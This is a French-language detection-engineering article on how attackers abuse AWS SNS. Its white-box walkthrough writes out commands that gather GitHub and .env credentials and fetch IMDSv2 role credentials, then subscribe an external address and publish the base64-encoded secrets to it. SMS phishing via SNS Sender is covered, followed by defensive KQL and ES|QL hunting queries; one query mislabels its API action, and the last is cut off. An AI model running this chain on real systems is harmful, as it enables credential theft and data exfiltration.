Préambule

Bienvenue dans ce nouvel épisode de l'ingénierie de détection AWS avec Elastic. Cet article explique comment les adversaires de la menace (TA) exploitent le service de notification simple (SNS) d'AWS et comment rechercher des indicateurs d'abus à l'aide de cette source de données.

Attendez-vous à découvrir les techniques potentielles que les adversaires de la menace peuvent utiliser en ce qui concerne les SNS. Nous explorerons également les meilleures pratiques en matière de sécurité, le renforcement des rôles et de l'accès, ainsi que la manière d'élaborer une logique de détection des menaces pour les abus de SRS.

Cette recherche est le résultat d'une récente collaboration interne qui nous a demandé d'exploiter les SRS pour l'exfiltration de données lors d'un exercice en boîte blanche. Au cours de cette collaboration, nous avons été intrigués par la manière dont un simple service de publication et d'abonnement (pub/sub) pouvait être utilisé de manière abusive par des adversaires pour réaliser diverses actions sur des objectifs. Nous nous sommes penchés sur les tentatives d'abus des SRS connues du public et sur notre connaissance de la source de données pour rassembler cette recherche sur les possibilités de détection.

Bonne découverte !

Comprendre AWS SNS

Avant d'entrer dans les détails, examinons ce qu'est AWS SNS afin d'en avoir une compréhension de base.

AWS SNS est un service web qui permet aux utilisateurs d'envoyer et de recevoir des notifications depuis le nuage. Pensez-y comme à un service de flux d'informations : un sujet numérique est créé, les personnes intéressées par les mises à jour s'abonnent par courriel, par Slack, etc. et lorsque des données sont publiées sur ce sujet, tous les abonnés en sont informés et les reçoivent. Il décrit ce que l'on appelle communément un service pub/sub fourni par les fournisseurs de services en nuage (CSP). Dans Azure, il s'agit de Web PubSub, tandis que GCP propose Pub/Sub. Si les noms de ces services peuvent différer légèrement d'une plateforme à l'autre, leur utilité et leur objectif, eux, ne changent pas.

SNS propose deux flux de travail, application-à-personne (A2P) et application-à-application (A2A), qui répondent à des objectifs différents. Les flux de travail A2P se concentrent davantage sur le fonctionnement intégral avec les services AWS tels que Firehose, Lambda, SQS et plus encore. Toutefois, dans le cadre de cet article, nous allons nous concentrer sur les flux de travail A2P. Comme le montre le diagramme ci-dessous, un sujet SNS est généralement créé, ce qui permet aux abonnés de recevoir des messages par SMS, par courrier électronique ou par notification push.

Caractéristiques supplémentaires :

Politiques de filtrage : Les abonnés peuvent définir des règles de filtrage pour ne recevoir qu'un sous-ensemble pertinent de messages s'ils le souhaitent. Ces politiques de filtrage sont définies au format JSON ; elles spécifient les attributs d'un message qui intéressent l'abonné. SNS évalue ces politiques côté serveur avant la livraison afin de déterminer à quels abonnés les messages doivent être envoyés.

Cryptage: SNS exploite le cryptage côté serveur (SSE) en utilisant le service de gestion des clés AWS (KMS) pour sécuriser les messages au repos. Lorsque le cryptage est activé, les messages sont cryptés avant d'être stockés dans le SNS, puis décryptés lors de la livraison au point final. Ceci est bien sûr important pour maintenir la sécurité des informations personnelles identifiables (PII) ou d'autres données sensibles telles que les numéros de compte. N'ayez crainte, bien que SNS ne crypte qu'au repos, d'autres protocoles (tels que HTTPS) gèrent le cryptage en transit, ce qui le rend de bout en bout (E2E).

Les tentatives de livraison et les files d'attente de lettres mortes (DLQ): SNS retente automatiquement la livraison des messages aux points de terminaison, tels que SQS, Lambda, etc. en cas d'échecs inattendus. Cependant, les messages qui ne sont pas délivrés résident finalement dans les DLQ, qui sont généralement des files d'attente AWS SQS, ce qui permet aux développeurs d'effectuer un débogage.

Évolutivité: AWS SNS est conçu pour gérer des volumes massifs de messages, en s'adaptant automatiquement à l'augmentation du trafic sans intervention manuelle. Il n'y a pas d'exigences initiales en matière de provisionnement et vous ne payez que pour ce que vous utilisez, ce qui le rend rentable pour la plupart des organisations.

AWS SNS est un outil puissant pour faciliter la communication dans les environnements en nuage. Pour une compréhension plus approfondie, nous vous recommandons de vous plonger dans la documentation existante d'AWS. Cependant, sa polyvalence et ses capacités d'intégration le rendent également susceptible d'être utilisé de manière abusive. Dans la section suivante, nous explorons certains scénarios dans lesquels les adversaires pourraient exploiter les SRS à des fins malveillantes.

Tests en boîte blanche

Les tests en boîte blanche consistent à effectuer des émulations atomiques de comportements malveillants dans un environnement contrôlé, avec une visibilité totale sur l'infrastructure vulnérable ou mal configurée et sur ses configurations. Cette approche est couramment employée dans les environnements en nuage pour valider les capacités de détection lors de l'élaboration de règles ou de modèles de détection des menaces ciblant des tactiques, des techniques et des procédures (TTP) spécifiques. Contrairement aux environnements d'extrémité, où les simulations des adversaires impliquent souvent l'explosion de binaires et d'outils malveillants, les TTP basées sur le cloud exploitent généralement des services existants pilotés par API par le biais de techniques "living-off-the-cloud", ce qui rend cette approche essentielle pour une analyse et une détection précises.

Exfiltration de données via les SRS

L'exfiltration via les SRS commence par la création d'un sujet qui sert de proxy pour recevoir les données volées et les transmettre à une source de média externe, telle que le courrier électronique ou le téléphone portable. Les adversaires s'abonneraient alors à cette source médiatique pour que toutes les données reçues leur soient transmises. Une fois cette étape franchie, il suffit d'empaqueter les données et de les publier sur le sujet SNS, qui se charge de la distribution. Cette méthode permet aux adversaires de contourner les mécanismes traditionnels de protection des données, tels que les listes de contrôle d'accès au réseau, et d'exfiltrer des informations vers des destinations externes non autorisées.

Exemple de flux de travail :

• Débarquez sur l'instance EC2 et découvrez les données sensibles, puis mettez-les en scène pour plus tard.
• Utilisez IMDSv2 et STS de manière native avec la CLI AWS installée pour obtenir des crédits temporaires.
• Créez un sujet dans SNS et ajoutez une adresse e-mail externe en tant qu'abonné.
• Publier des informations sensibles sur le sujet, encodées en Base64 (ou en texte clair)
• L'adresse électronique externe reçoit les données exfiltrées.

Mise en place de l'infrastructure

Pour l'infrastructure de la victime, nous utiliserons notre cadre préféré d'infrastructure en tant que code (IaC), Terraform.

Une gist publique a été créée, contenant tous les fichiers nécessaires pour suivre cet exemple. En résumé, ces configurations Terraform déploient une instance EC2 dans AWS au sein d'un sous-réseau public. L'installation comprend un script user-data qui ajoute des identifiants fictifs pour les données sensibles en tant que variables d'environnement, et installe l'interface CLI d'AWS pour émuler un environnement compromis. En outre, l'instance EC2 se voit attribuer un rôle IAM avec des autorisations pour sns:Publish, sns:Subscribe et sns:CreateTopic.

Il existe plusieurs moyens potentiels pour un adversaire d'obtenir un accès initial à cette instance EC2, notamment l'exploitation d'applications web vulnérables pour le déploiement d'un shell web, l'utilisation d'informations d'identification SSH volées, la pulvérisation de mots de passe ou le bourrage d'informations d'identification. Dans cet exemple de scénario particulier, supposons que l'attaquant ait réussi à s'introduire via une application web vulnérable et qu'il ait ensuite téléchargé un shell web. Dans ce cas, l'objectif suivant serait la persistance via l'accès aux informations d'identification... Ce phénomène est couramment observé lorsque des adversaires ciblent des logiciels tiers ou des applications web populaires tels que Oracle WebLogic, Apache Tomcat, Atlassian Confluence, Microsoft Exchange et bien d'autres encore.

Pour commencer, téléchargez les fichiers Terraform depuis le gist.

1. Ajustez les variables du fichier variables.tf pour qu'elles correspondent à votre configuration.
   1. Ajoutez votre adresse IPv4 sur liste blanche pour trusted_ip_cidr
   2. Ajoutez le chemin de votre fichier de clé SSH local à public_key_path
   3. Assurez-vous que ami_id.default est l'identifiant AMI correct pour votre région.
2. Exécutez terraform init dans le dossier pour initialiser le répertoire de travail.

Lorsque vous êtes prêt, exécutez terraform apply pour déployer l'infrastructure.

Quelques rappels :

• Terraform utilise le profil par défaut de votre CLI AWS, assurez-vous donc que vous travaillez avec le bon profil dans votre configuration AWS.
• L'identifiant AMI fourni est spécifique à la région us-east-1. Si vous déployez dans une région différente, mettez à jour l'ID AMI en conséquence dans le fichier variables.tf.
• Changez trusted_ip_cidr.default dans variables.tf de 0.0.0.0/0 (n'importe quelle IP) à votre plage CIDR connue du public.

Sortie de l'application Terraform

Accédons par SSH à notre instance EC2 pour nous assurer que nos informations d'identification sensibles ont été créées à partir du script user-data. Notez que dans le fichier outputs.tf, nous nous sommes assurés que la commande SSH serait générée pour nous en fonction du chemin de la clé et de l'IP publique de notre instance EC2.

Une fois cette infrastructure mise en place et confirmée, nous pouvons passer à l'exécution pratique.

Le flux de travail en pratique : Exfiltrer des informations d'identification sensibles

Maintenant que notre infrastructure est établie, nous allons mettre en pratique ce flux de travail. Pour rappel, l'objectif de notre adversaire opportuniste est de vérifier les informations d'identification locales, de s'emparer de ce qu'il peut et de mettre en scène les données sensibles localement. Depuis notre arrivée sur cette instance EC2, nous avons constaté que le CLI AWS existe et que nous disposons des autorisations SNS. Nous prévoyons donc de créer un sujet SNS, d'enregistrer un courrier électronique externe en tant qu'abonné, puis d'exfiltrer nos informations d'identification volées et d'autres données sous forme de messages SNS.

Note : Bien que cet exemple soit extrêmement simple, l'objectif est de se concentrer sur les SRS en tant que méthode d'exfiltration. Les circonstances et le scénario exacts varient en fonction de la configuration spécifique de l'infrastructure de la victime.

Identifier et collecter des données d'identification à partir d'emplacements communs :
Notre adversaire ciblera les fichiers d'identification GitHub et les fichiers .env localement à l'aide d'un bon vieux script Bash. Les informations d'identification de ces fichiers sont alors déposées dans le dossier temporaire /tmp, ce qui permet de les préparer à l'exfiltration.

Commande : cat /home/ubuntu/.github/credentials /home/ubuntu/project.env > /tmp/stolen_creds.txt

Méthode d'exfiltration par étapes en créant un sujet SNS
Tirons parti de la CLI AWS existante pour créer le sujet SNS. Pour rappel, cette instance EC2 assume le rôle IAM personnalisé que nous avons créé et attaché, ce qui lui permet de créer des sujets SNS et de publier des messages. Comme l'interface de commande AWS est préinstallée sur notre instance EC2, elle récupérera les informations d'identification temporaires d'IMDSv2 pour le rôle supposé lorsqu'elle sera invoquée. Cependant, si ce n'était pas le cas, un adversaire pourrait récupérer les informations d'identification de manière native avec le code bash suivant.

# Fetch the IMDSv2 token
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")

# Get the IAM role name
ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)

# Fetch the temporary credentials
CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME)

# Extract the Access Key, Secret Key, and Token
AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId')
AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey')
AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token')

Une fois cette étape terminée, essayons de créer notre sujet SNS et l'adresse e-mail qui sera utilisée comme récepteur externe pour les données exfiltrées.

Commande de création de sujet : TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)

Commande d'abonnement : aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"

Comme indiqué ci-dessus, après l'exécution des commandes, nous pouvons naviguer vers la boîte de réception de l'adresse électronique externe pour confirmer l'abonnement. Une fois confirmée, notre adresse électronique externe recevra désormais tous les messages envoyés à l'adresse whitebox-sns-topic topic que nous prévoyons d'utiliser pour l'exfiltration.

Exfiltrer des données via SNS Publier
À ce stade, nous avons obtenu l'accès à une instance EC2, nous avons fouiné pour comprendre notre environnement, nous avons identifié certains services à abuser et certaines informations d'identification que nous voulons obtenir. Notez que les étapes précédentes auraient toutes pu être accomplies via un simple script Bash qui aurait pu être déposé sur l'instance EC2 compromise via notre webshell, mais ceci est décomposé en étapes individuelles à des fins d'exemple.

Ensuite, nous pouvons prendre les données que nous avons stockées dans /tmp/stolen_creds.txt, les encoder en base64 et les envoyer à l'adresse électronique contrôlée par notre adversaire via SNS.

Commandes :

• Encodez le contenu en base64 : BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)
• Publier les informations d'identification codées sur notre sujet : aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"

Une fois cette opération terminée, il suffit de vérifier si les informations d'identification exfiltrées se trouvent dans notre boîte de réception.

En prenant la charge utile de notre message, nous pouvons la décoder pour voir qu'elle représente les informations d'identification que nous avons trouvées sur l'instance EC2.

Comme de nombreux adversaires peuvent tenter d'établir une persistance ou de se déplacer latéralement dans l'environnement et les services AWS, ils pourraient alors s'appuyer sur ce sujet SNS pour exfiltrer des données tant que les autorisations sont en vigueur pour l'utilisateur ou le rôle IAM. En outre, ils peuvent mettre en place une tâche récurrente qui recherche des données sur cette instance EC2 et exfiltre continuellement tout ce qui est intéressant au fil du temps. Dans ce scénario, il existe de nombreuses possibilités pratiques de chaînage supplémentaire.

Avant de poursuivre, nous vous encourageons à utiliser la commande suivante pour détruire votre infrastructure une fois que vous vous serez déconnecté de la connexion SSH: terraform destroy --auto-approve

Défis pour les adversaires :

Bien entendu, tout test en boîte blanche comporte de nombreuses incertitudes qui peuvent constituer des obstacles pour un AT, qu'il soit avancé ou immature en termes de connaissances, de compétences et d'aptitudes. Elle dépend également beaucoup de la configuration et de l'environnement de la victime potentielle. Vous trouverez ci-dessous d'autres défis auxquels les adversaires seraient confrontés.

Accès initial: L'accès initial à l'instance EC2 est souvent le plus grand obstacle. Il peut s'agir de l'exploitation d'une application web ou d'un service tiers vulnérable, de l'utilisation d'identifiants SSH volés, de la pulvérisation de mots de passe ou du remplissage d'identifiants, ou d'autres moyens tels que l'ingénierie sociale ou l'hameçonnage. Sans accès initial, l'ensemble de la chaîne d'attaque est infaisable.

Établir une session active: Après avoir obtenu un accès, il peut être difficile de maintenir une session active, en particulier si l'environnement comprend une protection robuste des terminaux ou des redémarrages réguliers qui éliminent les activités non autorisées. Les adversaires peuvent avoir besoin d'établir un point d'ancrage persistant en utilisant des techniques telles qu'un webshell, un reverse shell ou un script dropper automatisé.

AWS CLI installé sur l'instance: La présence du CLI AWS sur une instance EC2 publique n'est pas courante et n'est pas considérée comme une bonne pratique. De nombreux environnements sécurisés évitent de préinstaller le CLI AWS, ce qui oblige les adversaires à apporter leurs propres outils ou à s'appuyer sur des méthodes moins directes pour interagir avec les services AWS.

Permissions du rôle IAM: Le rôle IAM attaché à l'instance EC2 doit inclure des politiques permissives pour les actions SNS (sns:Publish, sns:Subscribe, sns:CreateTopic, sts:GetCallerIdentity). De nombreux environnements limitent ces autorisations pour empêcher toute utilisation non autorisée, et des configurations erronées sont souvent nécessaires pour que l'attaque réussisse. Les meilleures pratiques de sécurité, telles que le principe du moindre privilège (PoLP), garantissent que les rôles sont définis avec les seules autorisations nécessaires.

Exécution de scripts malveillants: L'exécution réussie d'un script ou de commandes sans déclencher d'alarmes (par exemple, CloudTrail, GuardDuty, agents EDR) est un défi. Les adversaires doivent s'assurer que leurs activités se fondent dans le trafic légitime ou utiliser des techniques d'obscurcissement pour échapper à la détection.

Des avantages pour les adversaires

Bien entendu, si ces techniques posent des problèmes à l'adversaire, il convient également d'examiner certains avantages cruciaux qu'elles peuvent présenter.

• Se fondre dans les services AWS natifs: En exploitant AWS SNS pour l'exfiltration de données, l'activité de l'adversaire apparaît comme une utilisation légitime d'un service phare natif d'AWS. Les SRS sont généralement utilisés pour les notifications et la diffusion de données, ce qui les rend moins susceptibles de susciter des soupçons immédiats.
• Usurpation d'identité via le rôle IAM: Les actions effectuées via la CLI AWS sont attribuées au rôle IAM attaché à l'instance EC2. Si le rôle dispose déjà d'autorisations pour les actions SNS et qu'il est utilisé régulièrement pour des tâches similaires, les activités adverses peuvent se fondre harmonieusement dans les opérations prévues.
• Aucun problème avec les groupes de sécurité ou les ACL de réseau: La communication SNS s'effectuant entièrement dans les limites d'AWS, il n'y a pas lieu de s'appuyer sur des configurations de groupes de sécurité ou d'ACL de réseau. Cela permet de contourner les contrôles traditionnels du trafic sortant, ce qui garantit que les tentatives d'exfiltration de données de l'adversaire ne sont pas bloquées.
• Absence de détection des abus de SRS: L'utilisation abusive des SRS à des fins d'exfiltration de données n'est pas suffisamment surveillée dans de nombreux environnements. Les équipes de sécurité peuvent se concentrer sur les services AWS les plus couramment utilisés (par exemple, S3 ou EC2) et ne disposent pas de détections ou d'alertes dédiées aux activités SNS inhabituelles, telles que la création fréquente de sujets ou de grands volumes de messages publiés.
• Empreinte minimale avec des commandes non invasives: Les commandes locales utilisées par l'adversaire (par exemple, cat, echo, base64) sont bénignes et ne déclenchent généralement pas d'outils de détection et de réponse (EDR). Ces commandes sont courantes dans les tâches administratives légitimes, ce qui permet aux adversaires d'éviter la détection sur les systèmes Linux dorsaux.
• Exfiltration efficace et évolutive: Le SNS permet une exfiltration évolutive en permettant aux adversaires d'envoyer de grandes quantités de données à plusieurs abonnés. Une fois la configuration mise en place, l'adversaire peut automatiser la publication périodique d'informations sensibles avec un minimum d'efforts supplémentaires.
• Capacités d'exfiltration persistantes: Tant que le sujet et l'abonnement SNS restent actifs, l'adversaire peut utiliser l'infrastructure pour une exfiltration continue. Cela est particulièrement vrai si le rôle IAM conserve ses autorisations et qu'aucune surveillance proactive n'est mise en œuvre.
• Contournement de la surveillance des sorties et de la prévention des pertes de données : comme les données sont exfiltrées par le biais de SNS dans l'environnement AWS, elles contournent les solutions traditionnelles de surveillance des sorties ou de prévention des pertes de données qui se concentrent sur le trafic sortant vers des destinations externes.

Abus dans la nature

Si les scénarios en boîte blanche sont inestimables pour simuler des comportements adverses potentiels, il est tout aussi important de fonder ces simulations sur des menaces réelles. À cette fin, nous avons exploré les recherches accessibles au public et identifié un article clé de SentinelOne décrivant une campagne de courrier indésirable utilisant les SRS d'AWS. En nous appuyant sur les résultats de cette recherche, nous avons tenté de reproduire ces techniques dans un environnement contrôlé afin de mieux comprendre leurs implications.

Bien que nous ne nous attarderons pas sur l'analyse d'attribution décrite dans l'étude de SentinelOne, nous vous recommandons vivement d'examiner leur travail pour une plongée plus profonde dans les origines de la campagne. Nous nous concentrons plutôt sur les outils et les techniques utilisés par l'adversaire pour abuser des SRS AWS à des fins malveillantes.

Smishing et Phishing

Les environnements AWS compromis avec des services SNS préconfigurés peuvent servir de tremplin à des attaques de smishing (hameçonnage par SMS) ou d'hameçonnage. Les adversaires peuvent exploiter les sujets et les abonnés légitimes des SRS pour diffuser des messages frauduleux en interne ou en externe, en tirant parti de la confiance inhérente aux canaux de communication d'une organisation.

Comme indiqué dans le blog de SentinelOne, l'adversaire a utilisé un outil basé sur Python connu sous le nom de SNS Sender. Ce script a permis de mener des campagnes de phishing par SMS en interagissant directement avec les API SNS d'AWS à l'aide d'informations d'identification AWS compromises. Ces demandes d'API authentifiées ont permis à l'adversaire de contourner les mesures de protection habituelles et d'envoyer des messages d'hameçonnage en masse.

Le script SNS Sender utilise des clés d'accès et des secrets AWS valides pour établir des sessions API authentifiées via le SDK AWS. Armés de ces informations d'identification, les adversaires peuvent créer des flux de travail d'hameçonnage qui incluent :

1. Établir des sessions API SNS authentifiées via le SDK AWS.
2. L'énumération et le ciblage de listes de numéros de téléphone pour servir de destinataires à l'hameçonnage.
3. Utilisation d'un identifiant d'expéditeur préenregistré (si disponible) pour usurper l'identité d'entités de confiance.
4. Envoi de messages SMS contenant des liens malveillants, souvent en se faisant passer pour un service légitime.

Elastic Security Labs prévoit que l'utilisation d'outils uniques ou disponibles dans le commerce pour abuser des services en nuage, comme SNS Sender, continuera à se développer en tant qu'axe de recherche. Cela souligne l'importance de comprendre ces outils et leur impact sur la sécurité de l'informatique en nuage.

Considérations relatives à l'armement et aux essais préalables

Pour mener à bien une campagne d'hameçonnage à grande échelle à l'aide de AWS SNS, l'adversaire aurait dû avoir accès à une organisation de messagerie d'utilisateur final AWS déjà enregistrée. AWS restreint les nouveaux comptes au mode SNS Sandbox, qui limite l'envoi de SMS à des numéros de téléphone vérifiés manuellement. Pour contourner les restrictions du bac à sable, les adversaires doivent avoir accès à un compte déjà approuvé pour l'envoi de messages SMS de production. Le processus d'essai et d'armement aurait nécessité plusieurs étapes clés.

Une configuration complète de la messagerie de l'utilisateur final d'AWS nécessite :

• Une identité d'origine établie (qui comprend un code long, un numéro gratuit ou un code court).
• Approbation réglementaire par le biais d'une procédure d'enregistrement de la marque.
• Pré-approbation de l'opérateur pour les messages SMS à haut volume.

Sans ces identifiants préenregistrés, les messages AWS SNS peuvent être dépriorisés, bloqués ou ne pas être envoyés.

Avant de déployer une attaque à grande échelle, les adversaires testeront probablement l'envoi de SMS à l'aide de numéros de téléphone vérifiés dans le mode Sandbox d'AWS SNS. Ce processus nécessite :

• Vérifier manuellement les numéros de téléphone avant d'envoyer des messages.
• S'assurer que l'opérateur autorise les messages AWS SNS sandbox, car certains (comme T-Mobile et Google Voice) bloquent fréquemment les SMS de vérification AWS SNS sandbox.
• Tester les itinéraires de livraison dans différentes régions AWS pour identifier les pays qui autorisent les ID d'expéditeur personnalisés ou les messages sans boîte à sable.

Si l'environnement de test d'un attaquant ne recevait pas d'OTP de vérification SNS, il passerait probablement à un autre compte AWS ou utiliserait un compte AWS compromis disposant déjà d'autorisations de messagerie au niveau de la production.

En outre, l'adversaire donnera probablement la priorité aux messages transactionnels par rapport aux messages promotionnels. Les messages transactionnels sont traités en priorité par AWS (OTP, alertes de sécurité, etc.), tandis que les messages promotionnels sont moins prioritaires et peuvent être filtrés ou bloqués par certains opérateurs.

Si les adversaires ne peuvent pas outrepasser les paramètres par défaut du type de message, leurs messages d'hameçonnage risquent d'être dépriorisés ou rejetés par AWS, ce qui pourrait constituer un obstacle.

Identité d'origine enregistrée & ID de l'expéditeur (si pris en charge)

AWS exige l'enregistrement de la marque et la vérification de l'identité de l'expéditeur pour les entreprises qui envoient de gros volumes de SMS. Selon la région et le transporteur, les adversaires peuvent être en mesure d'exploiter différentes configurations :

• Abus de l'identité de l'expéditeur: Dans certains pays autres que les États-Unis, les des adversaires pourraient enregistrer un ID d'expéditeur pour faire passer des messages d'hameçonnage pour des messages provenant d'une entité de confiance. Cela peut permettre d'usurper l'identité de banques, de compagnies maritimes ou d'agences gouvernementales, rendant ainsi la tentative d'hameçonnage plus convaincante.
• Exploitation du code long & Toll-Free: AWS SNS attribue des codes longs (numéros de téléphone standard) ou des numéros gratuits pour les SMS sortants. Les numéros gratuits doivent être enregistrés, mais peuvent toujours être utilisés de manière abusive si un adversaire compromet un compte AWS doté d'un service de messagerie gratuit actif.
• Restrictions sur les numéros courts: Les numéros courts à haut débit (numéros à 5 ou 6 chiffres) sont souvent contrôlés par les opérateurs et nécessitent une vérification supplémentaire, ce qui les rend moins pratiques pour les adversaires.

Mise en place de l'infrastructure

Par défaut, les comptes AWS qui n'ont pas correctement configuré le service End User Messaging sont limités à un bac à sable SMS. Ce bac à sable permet aux développeurs de tester la fonctionnalité SMS en envoyant des messages à des numéros de téléphone vérifiés. Cependant, comme nous l'avons découvert, le processus de vérification des chiffres dans le bac à sable est semé d'embûches.

Malgré des tentatives répétées d'enregistrement de numéros de téléphone dans le bac à sable, nous avons constaté que les messages de vérification (codes OTP) n'arrivaient pas aux points de terminaison des différents opérateurs et services, y compris Google Voice et Twilio. Cela suggère que les opérateurs de téléphonie mobile peuvent bloquer ces messages provenant du bac à sable, ce qui bloque effectivement le processus de vérification, mais nous empêche en fin de compte d'émuler le comportement.

Pour une utilisation en production, la migration à partir du bac à sable nécessite un service AWS End User Messaging entièrement configuré. Il s'agit notamment de

• Un ID d'expéditeur légitime.
• Une réserve de téléphones pour les basculements.
• Identité d'origine.
• Enregistrement de la marque pour la conformité réglementaire.

Cette configuration est conforme aux exigences du script SNS Sender et représente un environnement idéal pour les adversaires. L'utilisation d'un identifiant d'expéditeur, qui repose sur une identité d'origine préétablie et l'enregistrement d'une marque, permet aux messages de phishing de sembler provenir d'une organisation digne de confiance. Cela réduit la probabilité de détection ou de blocage au niveau de l'opérateur, ce qui augmente le taux de réussite de la campagne.

Les conditions requises pour cette attaque suggèrent que les adversaires sont susceptibles de cibler les entreprises qui utilisent AWS End User Messaging pour des alertes et des messages SMS automatisés. Des secteurs tels que les services de logistique et de livraison, les plateformes de commerce électronique, les voyages et l'hôtellerie sont des cibles privilégiées en raison de leur dépendance à l'égard des notifications SMS automatisées.

Du côté du destinataire, le message d'hameçonnage semble provenir d'une entité de confiance, ce qui permet de contourner les alarmes des transporteurs et d'échapper aux soupçons.

Lors de nos tests, nous avons rencontré un comportement inattendu avec la journalisation dans CloudTrail lorsque nous avons essayé d'utiliser le script et la CLI AWS pour envoyer des messages SMS directement via SNS. Les tentatives de livraison de messages échouées n'apparaissaient pas dans les journaux CloudTrail comme prévu.

Bien que l'appel à l'API de publication soit généralement enregistré dans CloudTrail (à condition que les événements du plan de données soient activés), il n'est pas clair si l'absence de journaux pour les tentatives échouées est due au comportement inhérent de SNS ou à une mauvaise configuration de notre part. Cette lacune met en évidence la nécessité d'une étude plus approfondie sur la manière dont les demandes de publication SNS qui échouent sont traitées par AWS et si des configurations supplémentaires sont nécessaires pour capturer ces événements de manière fiable.

Par conséquent, nous avons déterminé qu'il serait préférable d'inclure une requête de recherche de menaces plutôt qu'une règle de détection en raison de l'incapacité de reproduire entièrement le comportement de l'adversaire, la dépendance à l'égard de marques préétablies et enregistrées et l'identité de l'auteur de la demande.

Possibilités de détection et de chasse

Pour la détection et la chasse, les journaux d'audit de CloudTrail fournissent suffisamment de visibilité pour les appels d'API ultérieurs de cette activité. Ils comprennent également suffisamment d'informations contextuelles pour aider à une plus grande fidélité de ces signaux anormaux. Les détections et les requêtes de chasse suivantes s'appuient sur les données CloudTrail ingérées dans notre pile Elastic grâce à l'intégration AWS CloudTrail, mais elles devraient pouvoir être traduites vers le SIEM de votre choix si nécessaire. Pour cette activité, nous nous concentrons uniquement sur les rôles assumés, en particulier ceux avec des instances EC2 abusées, mais cela pourrait se produire ailleurs dans les environnements AWS.

Sujet SNS créé par un utilisateur rare

Règle de détection Source
Source de la requête de chasse
MITRE ATT&CK : T1608

Identifie quand un sujet SNS est créé par un ARN d'identité d'utilisateur AWS rare (utilisateur ou rôle IAM). Cette détection s'appuie sur les règles de type "New Terms" d'Elastic pour identifier le moment où la première occurrence d'un ARN d'identité d'utilisateur crée un sujet SNS. Il serait tout à fait inhabituel qu'un rôle supposé, généralement utilisé pour les instances EC2, crée des sujets SNS.

Notre requête s'appuie sur KQL et le type de règle New Terms pour se concentrer sur les sujets créés par un rôle assumé spécifiquement pour une instance EC2.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Publish"
    and aws.cloudtrail.user_identity.type: "AssumedRole"
    and aws.cloudtrail.user_identity.arn: *i-*

Requête de chasse (ES|QL)

Notre requête de chasse se concentre sur l'action API CreateTopic d'une entité dont le type d'identité est un rôle supposé. Nous analysons également l'ARN pour nous assurer qu'il s'agit bien d'une instance EC2 d'où provient la demande. Nous pouvons ensuite agréger les données sur le compte cloud, l'entité (ID de l'instance EC2), le nom du rôle supposé, la région et l'agent utilisateur. S'il est inhabituel que l'instance EC2 signalée crée des sujets SNS de manière aléatoire, il peut s'agir d'un bon signal d'anomalie à examiner.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

Notes de chasse :

• Il est déjà inhabituel que les informations d'identification d'un rôle supposé pour une instance EC2 créent des sujets SNS de manière aléatoire.
• Si une clé d'accès à l'identité de l'utilisateur (aws.cloudtrail.user_identity.access_key_id) existe dans le journal d'audit de CloudTrail, cette demande a été effectuée via le CLI ou par programme. Ces clés pourraient être compromises et justifier une enquête plus approfondie.
• Un attaquant pourrait s'appuyer sur les actions de l'API Publish appelées vers ce sujet spécifique pour identifier la ressource AWS qui publie des messages. Avec l'accès au sujet, l'attaquant peut alors examiner plus en détail la liste des abonnés pour identifier les abonnés non autorisés.

Abonnement à un sujet de SRS par courriel par un utilisateur rare

Règle de détection Source
Source de la requête de chasse
MITRE ATT&CK : T1567, T1530

Identifie quand un sujet SNS est souscrit par un ARN d'identité d'utilisateur AWS rare (utilisateur ou rôle IAM). Cette détection s'appuie sur les règles de type " New Terms" d'Elastic pour identifier la première occurrence d'un ARN d'identité d'utilisateur qui tente de s'abonner à un sujet SNS existant. L'exfiltration de données qui a eu lieu pendant notre exemple de test en boîte blanche ci-dessus aurait été détectée par cette chasse aux menaces ; une alerte aurait été générée lorsque nous établissons un abonnement SNS pour un utilisateur externe.

Une réduction supplémentaire des faux positifs pourrait être obtenue en mettant sur liste blanche les TLD des organisations attendues dans l'adresse électronique demandée si le sujet est destiné à un usage interne uniquement.

Notre requête utilise KQL et le type de règle New Terms pour se concentrer sur les abonnements qui spécifient une adresse électronique. Malheureusement, CloudTrail expurge l'adresse électronique souscrite, sinon cette information serait vitale pour l'enquête.

event.dataset: "aws.cloudtrail"
    and event.provider: "sns.amazonaws.com"
    and event.action: "Subscribe"
    and aws.cloudtrail.request_parameters: *protocol=email*

Nouvelle valeur des termes: aws.cloudtrail.user_identity.arn

Requête de chasse (ES|QL)

Notre requête de chasse s'appuie sur ES|QL mais analyse les paramètres d'action de l'API d'abonnement pour filtrer davantage le protocole de messagerie spécifié. Il analyse également le nom du user-agent, mais s'appuie sur des agrégations pour identifier éventuellement d'autres attributs anormaux du user-agent. Nous avons également inclus la région où l'abonnement a eu lieu, car il peut être rare que certaines régions soient abonnées à d'autres, en fonction du contexte commercial spécifique d'une organisation.

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
